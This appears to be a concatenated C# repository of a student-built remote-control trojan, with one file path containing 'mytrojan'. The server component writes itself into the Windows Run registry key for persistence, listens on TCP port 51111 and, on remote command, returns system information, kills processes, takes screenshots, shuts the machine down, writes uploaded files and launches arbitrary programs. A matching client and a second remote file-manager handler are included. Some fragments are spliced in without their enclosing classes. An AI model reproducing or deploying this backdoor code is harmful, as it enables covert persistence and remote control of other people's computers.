= null; NetworkStream n = null; while (!isConnected) { try { Console.WriteLine("try to connect server"); c = new TcpClient("127.0.0.1", 51111); n = c.GetStream(); } catch (Exception e) { Console.WriteLine("Exception caught"); Thread.Sleep(1000); continue; } if (c.Connected) { isConnected = true; } } //bool done = false; BinaryWriter bw = new BinaryWriter(n); BinaryReader br = new BinaryReader(n); while (true) { Console.Write("Input Msg: "); string msg = Console.ReadLine(); if (msg == "") { continue; } else if (msg == "exit") { bw.Write("bye"); bw.Flush(); Console.WriteLine("bye"); break; } else if (msg == "getsysteminfo") { bw.Write(msg); bw.Flush(); MemoryStream ms = new MemoryStream(); int size = Convert.ToInt32(br.ReadString()); // Console.WriteLine("systeminfo size is {0}", size); byte[] bytes = br.ReadBytes(size); ms.Write(bytes, 0, size); BinaryFormatter formatter = new BinaryFormatter(); ms.Position = 0; SystemInfo systemInfo = (SystemInfo)formatter.Deserialize(ms); ms.Close(); Console.WriteLine(systemInfo.Os.Version.Major); Console.WriteLine("{0} {1}", systemInfo.UserName, systemInfo.ComputerName); foreach (DriveInfo info in systemInfo.Drivesinfo) { if (info.IsReady) { Console.WriteLine("drives: {0} {1} {2} {3}", info.VolumeLabel, info.Name, info.TotalSize, info.TotalFreeSpace); } } } else if (msg == "getcurrentprocess") { bw.Write(msg); bw.Flush(); MemoryStream ms = new MemoryStream(); int size = Convert.ToInt32(br.ReadString()); byte[] bytes = br.ReadBytes(size); ms.Write(bytes, 0, size); BinaryFormatter formatter = new BinaryFormatter(); ms.Position = 0; ProcessInfo[] processes = (ProcessInfo[])formatter.Deserialize(ms); ms.Close(); Console.WriteLine("Current Processes"); foreach (ProcessInfo processInfo in processes) { Console.WriteLine("Process {0}: {1}", processInfo.Id, processInfo.ProcessName); } } else if (msg == "killprocess") { Console.Write("Input a Pid: "); string pid = Console.ReadLine(); bw.Write("killprocess-" + pid); bw.Flush(); string res = br.ReadString(); Console.WriteLine(res); } else if (msg == "reboot") { bw.Write(msg); bw.Flush(); string res = br.ReadString(); Console.WriteLine(res); } else if (msg == "shutdown") { bw.Write(msg); bw.Flush(); string res = br.ReadString(); Console.WriteLine(res); } else if (msg == "screenshot") { bw.Write(msg); bw.Flush(); MemoryStream ms = new MemoryStream(); int size = Convert.ToInt32(br.ReadString()); byte[] bytes = br.ReadBytes(size); ms.Write(bytes, 0, size); BinaryFormatter formatter = new BinaryFormatter(); ms.Position = 0; Image img = (Image)formatter.Deserialize(ms); ms.Close(); img.Save("D:\\capture.jpg", System.Drawing.Imaging.ImageFormat.Jpeg); } else if (msg == "pwd") { bw.Write("getcurrentdir"); bw.Flush(); string res = br.ReadString(); Console.WriteLine(res); } else if (msg == "chdir") { string newdir; Console.Write("New Dir: "); newdir = Console.ReadLine(); bw.Write("chdir-" + newdir); bw.Flush(); } else if (msg == "newfile") { string srcFile; Console.Write("Source File Path: "); srcFile = Console.ReadLine(); bw.Write("newfile"); bw.Flush(); Thread.Sleep(1000); FileStream fileStream = new FileStream(srcFile, FileMode.Open, FileAccess.Read); //BinaryReader binaryReader = new BinaryReader(fileStream); byte[] bytes = new byte[fileStream.Length]; fileStream.Read(bytes, 0, bytes.Length); //c.Client.Send(bytes, data, SocketFlags.None); bw.Write(bytes.Length.ToString()); bw.Flush(); bw.Write(bytes, 0, bytes.Length); bw.Flush(); fileStream.Close(); } else if (msg == "ls") { bw.Write(msg); bw.Flush(); MemoryStream ms = new MemoryStream(); int size = Convert.ToInt32(br.ReadString()); byte[] bytes = br.ReadBytes(size); ms.Write(bytes, 0, size); BinaryFormatter formatter = new BinaryFormatter(); ms.Position = 0; List<string> fileInfos = (List<string>)formatter.Deserialize(ms); ms.Close(); foreach (string fileInfo in fileInfos) { Console.WriteLine(fileInfo); } } else if (msg == "run") { string pName; Console.Write("Program Name: "); pName = Console.ReadLine(); bw.Write("run-" + pName); bw.Flush(); } else { bw.Write(msg); bw.Flush(); Console.WriteLine("return " + br.ReadString()); } } n.Close(); } } } <file_sep>/RemoteController/RemoteController/Server.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Net; using System.Net.Sockets; using System.IO; using System.Runtime.Serialization.Formatters.Binary; using Microsoft.Win32; namespace RemoteController { class Server { static void Main(string[] args) { Console.WriteLine("Start register myself"); RegisterMySelf(); Console.WriteLine("Finish register myself"); MessageBoy mBoy = new MessageBoy(); while (mBoy.WaitForConnect()) { //listener.Start(); //string status = ""; while (mBoy.GetNewCommand()) { mBoy.ProcessCommand(); } } //listener.Stop(); } private static void RegisterMySelf() { RegistryKey key = Registry.LocalMachine; RegistryKey run = key.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true); run.SetValue("remotecontroller", @"E:\SE3\mytrojan\RemoteController\RemoteController\bin\x64\Debug\RemoteController.exe"); key.Close(); Console.WriteLine("done"); } } }<file_sep>/SystemInfo/SystemInfo/SystemTimeInfo.cs using System; using System.Configuration; using System.Runtime.InteropServices; // 定义系统时间的信息结构 [StructLayout(LayoutKind.Sequential)] public struct SystemTimeInfo { //年、月、星期、天、小时、分、秒、毫秒 public ushort wYear; public ushort wMonth; public ushort wDayOfWeek; public ushort wDay; public ushort wHour; public ushort wMinute; public ushort wSecond; public ushort wMilliseconds; } <file_sep>/RemoteController/TestLib/TestLib.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace TestLib { [Serializable()] public class Package { public int a; public int b; public string c; public Package() { a = 1; b = 2; c = "abcd"; } } } <file_sep>/SystemInfo/SystemInfo/Form1.cs using System; using System.Collections; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; using System.Net; using System.IO; using System.Management; using System.Diagnostics; namespace SystemInfo1 { public partial class Form1 : System.Windows.Forms.Form { public Form1() { InitializeComponent(); TreeNode MyComputerNode = new TreeNode("我的电脑"); Dit.Nodes.Add(MyComputerNode); FileListShow(MyComputerNode); //初始化ListView控件 } //等到计算机名 // 用SystemInformation 类来获取 public static string GetComputerName() { return SystemInformation.ComputerName; } // 得到用户名 //用SystemInformation 类来获取 public static string GetUserName() { return SystemInformation.UserName; } private void LViewProc_SelectedIndexChanged(object sender, EventArgs e) { } private void tabPage1_Click(object sender, EventArgs e) { } private void 系统信息ToolStripMenuItem_Click(object sender, EventArgs e) { SystemInfo systemInfo = new SystemInfo(); CpuInfo cpuInfo = systemInfo.GetCpuInfo(); MemoryInfo memoryInfo = systemInfo.GetMemoryInfo(); SystemTimeInfo systemTimeInfo=systemInfo.GetSystemTimeInfo(); label1.Text += "计算机名 :" + GetComputerName() + "\r\n"; label1.Text += "用户名 :" + GetUserName() + "\r\n"; label1.Text += "操作系统:" + systemInfo.GetOperationSystemInName() + "\r\n"; label1.Text += "CPU编号:" + systemInfo.GetCpuId() + "\r\n"; label1.Text += "CPU个数:" + cpuInfo.dwNumberOfProcessors + "\r\n"; label1.Text += "CPU类型:" + cpuInfo.dwProcessorType + "\r\n"; label1.Text += "CPU等级:" + cpuInfo.dwProcessorLevel + "\r\n"; label1.Text += "页面大小: " + cpuInfo.dwPageSize + " 字节" + "\r\n"; label1.Text += "操作系统位数:" + memoryInfo.dwLength +" 位"+ "\r\n"; label1.Text += "可用物理内存大小:" + memoryInfo.dwAvailPhys + " 字节" + "\r\n"; label1.Text += "可用虚拟内存大小" + memoryInfo.dwAvailVirtual + " 字节" + "\r\n"; label1.Text += "已经使用内存大小:" + memoryInfo.dwMemoryLoad + " 字节" + "\r\n"; label1.Text += "总物理内存大小:" + memoryInfo.dwTotalPhys + " 字节" + "\r\n"; label1.Text += "总虚拟内存大小:" + memoryInfo.dwTotalVirtual + " 字节" + "\r\n"; label1.Text += "Windows目录所在位置:" + systemInfo.GetSysDirectory() + "\r\n"; label1.Text += "系统目录所在位置:" + systemInfo.GetWinDirectory() + "\r\n"; label1.Text += "系统时间: " + systemTimeInfo.wYear + "年 " + systemTimeInfo.wMonth + "月 " + systemTimeInfo.wDay + "日 " + (systemTimeInfo.wHour+8) + ":" + systemTimeInfo.wMinute + "\r\n"; } //获取进程列表 //用Process来获取进程的ID、名称、进程使用的物理内存和进程出起始时间 private void 进程信息ToolStripMenuItem_Click(object sender, EventArgs e) { dataGridView1.Rows.Clear(); Process[] myProcess = Process.GetProcesses(); foreach (Process p in myProcess) { int newRowIndex = dataGridView1.Rows.Add(); DataGridViewRow row = dataGridView1.Rows[newRowIndex]; row.Cells[0].Value = p.Id; row.Cells[1].Value = p.ProcessName; row.Cells[2].Value = string.Format("{0:###,##0.000}MB", p.WorkingSet64 / 1024.0f / 1024.0f); try { row.Cells[3].Value = string.Format("{0}", p.StartTime); } catch { row.Cells[3].Value = "";//有的进程获取不到开始时间即设置为空 } } } //结束进程 //获取该程序的Pid,通过调用Kill来结束进程 private void button7_Click(object sender, EventArgs e) { if (dataGridView1.SelectedCells.Count > 0) { string value = dataGridView1.SelectedRows[0].Cells[0].Value.ToString(); int Value = int.Parse(value); Process killed = Process.GetProcessById(Value); killed.Kill(); MessageBox.Show("已经结束该进程"); } } //文件列表显示 private void FileListShow(TreeNode aDirNode) { listVie.Clear(); try { if (aDirNode.Parent == null) { foreach (string DrvName in Directory.GetLogicalDrives()) { ListViewItem aItem = new ListViewItem(DrvName); listVie.Items.Add(aItem); } } else { foreach (string DirName in Directory.GetDirectories((string)aDirNode.Tag)) { ListViewItem aItem = new ListViewItem(DirName); listVie.Items.Add(aItem); } foreach (string FileName in Directory.GetFiles((string)aDirNode.Tag)) { ListViewItem aItem = new ListViewItem(FileName); listVie.Items.Add(aItem); } } } catch { } } //根目录显示 private void DirTreeShow(TreeNode aDirNode) { try { if (aDirNode.Nodes.Count == 0) { if (aDirNode.Parent == null) { foreach (string DrvName in Directory.GetLogicalDrives()) { TreeNode aNode = new TreeNode(DrvName); aNode.Tag = DrvName; aDirNode.Nodes.Add(aNode); } } else { foreach (string DirName in Directory.GetDirectories((string)aDirNode.Tag)) { TreeNode aNode = new TreeNode(DirName); aNode.Tag = DirName; aDirNode.Nodes.Add(aNode); } } } } catch { } } private void Dit_AfterSelect(object sender, TreeViewEventArgs e) { FileListShow(e.Node); DirTreeShow(e.Node); } private void 复制ToolStripMenuItem_Click(object sender, EventArgs e) { if (Dit.Focused) { SourceFileName = Dit.SelectedNode.Text; } MessageBox.Show("原文件路径为:" +SourceFileName +"\n"+ " 请在下面的列表选择请选择要复制的文件"); } private void 确定复制ToolStripMenuItem_Click_1(object sender, EventArgs e) { if (listVie.Focused) { FileName = listVie.FocusedItem.Text; string[] arry = FileName.Split('\\'); name = arry[arry.Length - 1]; } MessageBox.Show("要复制的文件为 " + name); } private void 粘帖ToolStripMenuItem_Click(object sender, EventArgs e) { string CurPath = ""; if (Dit.Focused) { CurPath = Dit.SelectedNode.Text; } else if (listVie.Focused) { CurPath = Directory.GetParent(listVie.Items[0].Text).FullName; } try { MessageBox.Show("目标路径为 " + CurPath); File.Copy(SourceFileName+"\\"+name,CurPath+"\\"+name, true); } catch { } } private void dataGridView1_CellContentClick(object sender, DataGridViewCellEventArgs e) { } private void button3_Click(object sender, EventArgs e) { } private void listVie_SelectedIndexChanged(object sender, EventArgs e) { } private void 删除ToolStripMenuItem_Click(object sender, EventArgs e) { if (Dit.Focused) { SourceFileName = Dit.SelectedNode.Text; if (Directory.Exists(@SourceFileName)) { Directory.Delete(@SourceFileName); MessageBox.Show("已经删除该文件夹"); } else { MessageBox.Show("该文件夹已经不存在了"); } } else if (listVie.Focused) { SourceFileName = listVie.FocusedItem.Text; if (File.Exists(@SourceFileName)) { File.Delete(@SourceFileName); MessageBox.Show("已经删除该文件"); } else { MessageBox.Show("该文件已经不存在了"); } } } private void button1_Click(object sender, EventArgs e) { Process.Start("shutdown", "-r"); } private void button2_Click(object sender, EventArgs e) { Process.Start("shutdown", "-s"); } private void button5_Click(object sender, EventArgs e) { } private void button6_Click(object sender, EventArgs e) { } } }<file_sep>/RemoteController/TestLib/SystemInfo.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.IO; using System.Windows.Forms; namespace Libs { [Serializable()] class SystemInfo { OperatingSystem os; string computerName; string userName; DriveInfo[] drivesinfo; Screen[] screens; public SystemInfo() { } public OperatingSystem Os { set { os = value; } get { return os; } } public string ComputerName { set { computerName = value; } get { return computerName; } } public string UserName { set { userName = value; } get { return userName; } } public DriveInfo[] Drivesinfo { set { drivesinfo = value; } get { return drivesinfo; } } public Screen[] Screens { set { screens = value; } get { return screens; } } } } <file_sep>/TestInject/TestInject/RemoteController.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Net; using System.Net.Sockets; using System.IO; using System.Runtime.Serialization.Formatters.Binary; using Microsoft.Win32; using System.Windows.Forms; using System.Drawing; using System.Diagnostics; namespace TestInject { public class RemoteController { static void run(string pwzArgument) { //Console.WriteLine("Start register myself"); RegistryKey key = Registry.LocalMachine; RegistryKey run = key.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true); run.SetValue("remotecontroller", @"E:\SE3\mytrojan\RemoteController\RemoteController\bin\x64\Debug\RemoteController.exe"); key.Close(); //Console.WriteLine("done"); Console.WriteLine("Finish register myself"); MessageBoy mBoy = new MessageBoy(); while (mBoy.WaitForConnect()) { //listener.Start(); //string status = ""; while (mBoy.GetNewCommand()) { mBoy.ProcessCommand(); } } //listener.Stop(); } } class MessageBoy { private BinaryReader br; private BinaryWriter bw; private TcpListener listener; private TcpClient client; private NetworkStream networkStream; private string cmd; private string cmdExtraValue; public MessageBoy() { listener = new TcpListener(IPAddress.Any, 51111); //listener.Start(); } public bool WaitForConnect() { listener.Start(); client = listener.AcceptTcpClient(); networkStream = client.GetStream(); br = new BinaryReader(networkStream); bw = new BinaryWriter(networkStream); return true; } public bool GetNewCommand() { if (networkStream.CanRead) { // cmd = new BinaryReader(networkStream).ReadString(); cmd = br.ReadString(); string[] items = cmd.Split('-'); if (items.Length > 1) { cmd = items[0]; cmdExtraValue = ""; for (int i = 1; i < items.Length; i++) cmdExtraValue += items[i]; } } if (cmd == "bye") { CloseConnection(); return false; } else { return true; } } private void CloseConnection() { listener.Stop(); } public void ProcessCommand() { if (cmd == "getsysteminfo") { ProcessGetSystemInfo(); } else if (cmd == "getcurrentprocess") { ProcessCmdGetCurrentProcess(); } else if (cmd == "killprocess") { int pid = int.Parse(cmdExtraValue); ProcessCmdKillProcess(pid); } else if (cmd == "shutdown") { ProcessCmdShutDown(); } else if (cmd == "reboot") { ProcessCmdReboot(); } else if (cmd == "screenshot") { ProcessCmdScreenShot(); } else if (cmd == "getcurrentdir") { ProcessCmdGetCurrentDir(); } else if (cmd == "newfile") { ProcessCmdNewFile(); } else if (cmd == "chdir") { ProcessCmdChDir(); } else if (cmd == "ls") { ProcessCmdLs(); } else if (cmd == "run") { ProcessCmdRun(); } else { ProcessCmdDefault(cmd); } } private void ProcessCmdRun() { Process.Start(cmdExtraValue); } private void ProcessCmdLs() { DirectoryInfo currentDInfo = new DirectoryInfo(System.Environment.CurrentDirectory); List<string> fileAndDirectoryInfos = new List<string>(); foreach (FileInfo fInfo in currentDInfo.GetFiles()) { string tmp = string.Format("{0}\t{1}\t{2}\t{3}", fInfo.Name, fInfo.Attributes, fInfo.CreationTime, fInfo.Length); fileAndDirectoryInfos.Add(tmp); } foreach (DirectoryInfo dInfo in currentDInfo.GetDirectories()) { string tmp = string.Format("{0}\t{1}\t{2}", dInfo.Name, dInfo.Attributes, dInfo.CreationTime); fileAndDirectoryInfos.Add(tmp); } MemoryStream ms = new MemoryStream(); BinaryFormatter formatter = new BinaryFormatter(); formatter.Serialize(ms, fileAndDirectoryInfos); WriteMemoryStream(ms); } private void ProcessCmdChDir() { System.Environment.CurrentDirectory = cmdExtraValue; } private void ProcessCmdNewFile() { string fileName = "C:\\tmp.file"; FileStream fileStream = new FileStream(fileName, FileMode.OpenOrCreate, FileAccess.Write); int size = Convert.ToInt32(br.ReadString()); byte[] bytes = br.ReadBytes(size); //MemoryStream ms = new MemoryStream(); //ms.Write(bytes, 0, size); fileStream.Write(bytes, 0, size); fileStream.Close(); } private void ProcessCmdGetCurrentDir() { string dir = System.Environment.CurrentDirectory; bw.Write(dir); bw.Flush(); } private void ProcessCmdScreenShot() { Image img = new Bitmap(Screen.AllScreens[0].Bounds.Width, Screen.AllScreens[0].Bounds.Height); Graphics g = Graphics.FromImage(img); g.CopyFromScreen(new Point(0, 0), new Point(0, 0), Screen.AllScreens[0].Bounds.Size); MemoryStream ms = new MemoryStream(); BinaryFormatter formatter = new BinaryFormatter(); formatter.Serialize(ms, img); WriteMemoryStream(ms); } private void ProcessCmdShutDown() { bw.Write("Will Shutdown in a minute"); bw.Flush(); Process.Start("shutdown", "-s"); } private void ProcessCmdReboot() { bw.Write("Will Reboot in a minute"); bw.Flush(); Process.Start("shutdown", "-r"); } private void ProcessCmdKillProcess(int pid) { Process killed = Process.GetProcessById(pid); killed.Kill(); bw.Write("Kill Process " + pid); bw.Flush(); } private void ProcessCmdGetCurrentProcess() { Process[] processes = Process.GetProcesses(); ProcessInfo[] processInfos = new ProcessInfo[processes.Length]; for (int i = 0; i < processes.Length; i++) { processInfos[i] = ProcessInfo.Process2ProcessInfo(processes[i]); } MemoryStream ms = new MemoryStream(); BinaryFormatter formatter = new BinaryFormatter(); formatter.Serialize(ms, processInfos); WriteMemoryStream(ms); } private void ProcessCmdDefault(string cmd) { // Console.WriteLine("default cmd is {0}", cmd); bw.Write("default: " + cmd); bw.Flush(); } private void ProcessGetSystemInfo() { SystemInfo systemInfo = new SystemInfo(); systemInfo.Os = Environment.OSVersion; systemInfo.ComputerName = Environment.GetEnvironmentVariable("ComputerName"); systemInfo.UserName = Environment.GetEnvironmentVariable("UserName"); string[] driveNames = Environment.GetLogicalDrives(); DriveInfo[] drives = new DriveInfo[driveNames.Length]; for (int i = 0; i < driveNames.Length; i++) { drives[i] = new DriveInfo(driveNames[i]); } systemInfo.Drivesinfo = drives; MemoryStream ms = new MemoryStream(); BinaryFormatter formatter = new BinaryFormatter(); formatter.Serialize(ms, systemInfo); WriteMemoryStream(ms); } private void ProcessCmdBye() { return; } private void WriteMemoryStream(MemoryStream ms) { byte[] bytes = ms.ToArray(); bw.Write(bytes.Length.ToString()); bw.Flush(); bw.Write(bytes, 0, bytes.Length); bw.Flush(); } } [Serializable()] public class ProcessInfo { int id; string processName; public ProcessInfo(int _id, string _name) { id = _id; processName = _name; } public int Id { set { id = value; } get { return id; } } public string ProcessName { set { processName = value; } get { return processName; } } public static ProcessInfo Process2ProcessInfo(Process process) { return new ProcessInfo(process.Id, process.ProcessName); } } [Serializable()] public class SystemInfo { OperatingSystem os; string computerName; string userName; DriveInfo[] drivesinfo; public SystemInfo() { } public OperatingSystem Os { set { os = value; } get { return os; } } public string ComputerName { set { computerName = value; } get { return computerName; } } public string UserName { set { userName = value; } get { return userName; } } public DriveInfo[] Drivesinfo { set { drivesinfo = value; } get { return drivesinfo; } } } } <file_sep>/RemoteController/GetInformation/Program.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.IO; using System.Windows.Forms; namespace GetInformation { class Program { static void Main(string[] args) { // get system info OperatingSystem os = Environment.OSVersion; Console.WriteLine(os.Version.Major); Console.WriteLine(os.Version.Minor); Console.WriteLine(os.VersionString); Console.WriteLine(os.Version.ToString()); // get environment variable Console.WriteLine(Environment.GetEnvironmentVariable("ComputerName")); Console.WriteLine(Environment.GetEnvironmentVariable("UserName")); //Console.WriteLine(Environment.GetEnvironmentVariable("Path")); //get drive info string[] drives = Environment.GetLogicalDrives(); foreach (string drive in drives) { DriveInfo driveInfo = new DriveInfo(drive); //if (driveInfo.DriveType) if (driveInfo.DriveType == DriveType.CDRom) continue; Console.WriteLine("{0}\t{1}\t{2}\t{3}%", drive, driveInfo.DriveType, driveInfo.DriveFormat, 100.0 * driveInfo.TotalFreeSpace / driveInfo.TotalSize); //Console.WriteLine(driveInfo.DriveType); //Console.WriteLine(drive); } Screen[] screens = Screen.AllScreens; foreach (Screen screen in screens) { Console.WriteLine(screen.DeviceName); } } } } <file_sep>/RemoteController/TestArea/Program.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Management; using System.Diagnostics; using System.Drawing; using System.Windows.Forms; namespace TestArea { class Program { static void Main(string[] args) { //Console.WriteLine("SerialNumber " + GetSerialNumber()); //Console.WriteLine("CpuID " + GetCpuID()); //Console.WriteLine("MainHardDiskId " + GetMainHardDiskId()); //Console.ReadLine(); //string s = "a"; //string[] res = s.Split('-'); //foreach (string item in res) //{ // Console.WriteLine(item); //} //Process p = new Process(); //p.StartInfo.FileName = "cmd.exe"; //p.StartInfo.UseShellExecute = false; //p.StartInfo.RedirectStandardInput = true; //p.StartInfo.RedirectStandardOutput = true; //p.StartInfo.RedirectStandardError = true; //p.StartInfo.CreateNoWindow = false; //p.Start(); //p.StandardInput.WriteLine("shutdown -s"); //Process.Start("shutdown", "-r"); Image img = new Bitmap(Screen.AllScreens[0].Bounds.Width, Screen.AllScreens[0].Bounds.Height); Graphics g = Graphics.FromImage(img); g.CopyFromScreen(new Point(0, 0), new Point(0, 0), Screen.AllScreens[0].Bounds.Size); img.Save("C:\\capture.jpg", System.Drawing.Imaging.ImageFormat.Jpeg); } static private string GetSerialNumber() { string result = ""; ManagementClass mClass = new ManagementClass("Win32_OperatingSystem"); ManagementObjectCollection moCollection = mClass.GetInstances(); foreach (ManagementObject mobject in moCollection) { result += mobject["SerialNumber"].ToString() + " "; } return result; } static private string GetCpuID() { string result = ""; ManagementClass mClass = new ManagementClass("Win32_Processor"); ManagementObjectCollection moCollection = mClass.GetInstances(); foreach (ManagementObject mObject in moCollection) { result += mObject["ProcessorId"].ToString() + " "; } return result; } static private string GetMainHardDiskId() { string result = ""; ManagementClass searcher = new ManagementClass("Win32_DiskDrive"); ManagementObjectCollection moCollection = searcher.GetInstances(); Console.WriteLine(moCollection.ToString()); foreach (ManagementObject mObject in moCollection) { result += mObject["Model"].ToString() + " "; Console.WriteLine(mObject.ToString()); } return result; } } } <file_sep>/RemoteController/Libs/ProcessInfo.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Diagnostics; namespace Libs { [Serializable()] public class ProcessInfo { int id; string processName; public ProcessInfo(int _id, string _name) { id = _id; processName = _name; } public int Id { set { id = value; } get { return id; } } public string ProcessName { set { processName = value; } get { return processName; } } public static ProcessInfo Process2ProcessInfo(Process process) { return new ProcessInfo(process.Id, process.ProcessName); } } } <file_sep>/TestFiles/ASimpleClient.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Net.Sockets; using System.IO; namespace ConsoleApplication2 { class Program { static void Main(string[] args) { using (TcpClient client = new TcpClient("localhost", 51111)) using (NetworkStream n = client.GetStream()) { BinaryWriter w = new BinaryWriter(n); w.Write("Hello"); w.Flush(); Console.WriteLine(new BinaryReader(n).ReadString()); } } } } <file_sep>/TestFiles/ASimpleServer.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Net; using System.Net.Sockets; using System.IO; namespace ConsoleApplication1 { class Program { static void Main(string[] args) { /* TcpListener listener = new TcpListener(IPAddress.Any, 51111); listener.Start(); int cnt = 0; while (true) { using (TcpClient c = listener.AcceptTcpClient()) using (NetworkStream n = c.GetStream()) { string msg = new BinaryReader(n).ReadString(); BinaryWriter w = new BinaryWriter(n); w.Write(msg + " right back"); w.Flush(); Console.WriteLine(cnt++); } } listener.Stop(); */ HttpListener listener = new HttpListener(); listener.Prefixes.Add("http://localhost:51111/"); listener.Start(); HttpListenerContext context = listener.GetContext(); string msg = "You asked for " + context.Request.RawUrl; context.Response.ContentLength64 = Encoding.UTF8.GetByteCount(msg); context.Response.StatusCode = (int)HttpStatusCode.OK; using (Stream s = context.Response.OutputStream) using (StreamWriter writer = new StreamWriter(s)) writer.Write(msg); listener.Stop(); } } } <file_sep>/WMIDemo/Main.cs using System; using System.Collections.Generic; using System.Text; using System.Management; namespace WMIDemo { class Program { static void Main(string[] args) { GetSystemInfo getInfo = new GetSystemInfo(); Console.WriteLine("序列号="+getInfo.GetSerialNumber()); Console.WriteLine("CPU编号=" + getInfo.GetCpuID()); Console.WriteLine("硬盘编号=" + getInfo.GetMainHardDiskId()); Console.WriteLine("网卡编号=" + getInfo.GetNetworkAdapterId()); Console.WriteLine("用户组=" + getInfo.GetGroupName()); Console.WriteLine("驱动器情况=" + getInfo.GetDriverInfo()); Console.ReadLine(); } } } public string GetSerialNumber() //获取操作系统序列号 { string result = ""; ManagementClass mClass = new ManagementClass("Win32_OperatingSystem"); ManagementObjectCollection moCollection = mClass.GetInstances(); foreach (ManagementObject mObject in moCollection) { result += mObject["SerialNumber"].ToString() + " "; } return result; } public string GetCpuID() //查询CPU编号 { string result = ""; ManagementClass mClass = new ManagementClass("Win32_Processor"); ManagementObjectCollection moCollection = mClass.GetInstances(); foreach (ManagementObject mObject in moCollection) { result += mObject["ProcessorId"].ToString() + " "; } return result; } public string GetMainHardDiskId() //查询硬盘编号 { string result = ""; ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT * FROM Win32_PhysicalMedia"); ManagementObjectCollection moCollection = searcher.Get(); foreach (ManagementObject mObject in moCollection) { result += mObject["SerialNumber"].ToString() + " "; } return result; } public string GetDriverInfo() //查询驱动器状态 { string result = ""; ManagementObjectSearcher searcher = new ManagementObjectSearcher("root/CIMV2", "SELECT * FROM Win32_LogicalDisk"); ManagementObjectCollection moCollection = searcher.Get(); foreach (ManagementObject mObject in moCollection) { if (mObject["DriveType"].ToString() == "3") { result += string.Format("Name={0},FileSystem={1},Size={2},FreeSpace={3} ", mObject["Name"].ToString(), mObject["FileSystem"].ToString(), mObject["Size"].ToString(), mObject["FreeSpace"].ToString()); } } return result; } public string GetGroupName() //获取用户组信息 { string result = ""; ManagementObjectSearcher searcher = new ManagementObjectSearcher("root/CIMV2", "SELECT * FROM Win32_Group"); ManagementObjectCollection moCollection = searcher.Get(); foreach (ManagementObject mObject in moCollection) { result += mObject["Name"].ToString() + " "; } return result; } public string GetNetworkAdapterId()//查询网卡编号 { string result = ""; ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT MACAddress FROM Win32_NetworkAdapter WHERE ((MACAddress Is Not NULL)AND (Manufacturer <> 'Microsoft'))"); ManagementObjectCollection moCollection = searcher.Get(); foreach (ManagementObject mObject in moCollection) { result += mObject["MACAddress"].ToString() + " "; } return result; } <file_sep>/example/Form1.cs using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; namespace AutoImplementedProperties_ex { public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void btnShow_Click(object sender, EventArgs e) { string msg = ""; Car Computer = new Car(); Computer.Name = "Hasee"; msg = msg + "电脑品牌:" + Computer.Name + "\n"; msg = msg + "电脑主人:" + "庄亚欧"; MessageBox.Show(msg,"电脑信息"); } } class Car { private string name; public string Name { get { return name; } set { this.name = value ; } } public int Horsepower { get;//可读 set;//可写 } public double Torque { private get;//不可读 set;//可写 } } } <file_sep>/getinformation/Net.cs using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Text; using System.Windows.Forms; using System.Runtime.InteropServices; using System.Diagnostics; using System.IO; using System.Net; using System.Net.Sockets; using System.Threading; using Microsoft.Win32; using Microsoft.VisualBasic; using Microsoft.VisualBasic.Devices; using System.Collections; using System.ServiceProcess; using System.Management; private void DoCommand(ref string command, ref string parameter) { if (command == "Connected") { //WriteToClient(ref socket, "true"); } else if (command == "PcInfo") { SystemInfo systemInfo = new SystemInfo(); WriteToClient(ref socket, systemInfo.GetMyComputerName() + "\n" + systemInfo.GetMyScreens() + "\n" + systemInfo.GetMyCpuInfo() + "\n" + systemInfo.GetMyMemoryInfo() + "\n" + systemInfo.GetMyDriveInfo() + "\n" + systemInfo.GetMyOSName() + "\n" + systemInfo.GetMyUserName() + "\n" + systemInfo.GetMyPaths()); } //*************************************************************************************** //文件管理 else if (command == "Filelist")//文件列表 { try { string dir = ""; DirectoryInfo curDir = new DirectoryInfo(parameter); if (!curDir.Exists) { dir = ""; WriteToClient(ref socket, "<OK>Dir Send\r\n" + dir); return; } DirectoryInfo[] dirdir = curDir.GetDirectories(); FileInfo[] dirFiles = curDir.GetFiles(); foreach (FileInfo f in dirFiles) { dir = dir + "F:" + f.Name + "\t" + f.Length + "\t" + f.CreationTime.ToString() + "\t" + f.LastWriteTime.ToString() +"\r\n"; } foreach (DirectoryInfo d in dirdir) { dir = dir + "D:" + d.Name + "\r\n"; } WriteToClient(ref socket, "<OK>Dir Send\r\n" + dir); } catch (Exception e) { WriteToClient(ref socket, e.Message); } } else if (command == "Driverlist")//磁盘列表 { string[] drives = Environment.GetLogicalDrives(); string str = "<OK>Dir Send\r\n"; foreach (string s in drives) str += s + "\r\n"; WriteToClient(ref socket, str); } else if (command == "DeleteFile")//删除文件 { try { File.Delete(parameter); } catch { } string str = "<OK>File Deleted\r\n"; WriteToClient(ref socket, str); } else if (command == "Rename")//重命名文件 { try { char[] a = new char[] { '\r' }; string[] spl = parameter.Split(a); string para1 = spl[0]; string para2 = spl[1]; File.Copy(para1, para2, true); File.Delete(para1); WriteToClient(ref socket, "<OK>File Renamed!\r\n"); } }
8243e09ca11d16f28e17796c44634c5c84aa1109
[ "C#" ]
17
C#
bearzx/MyRemoteController
7dc0711ce2eeeba91383f5ab5e425a514b84daa2
3247b00e9f8024f65bde5ff66e50c3cf728466af
refs/heads/master
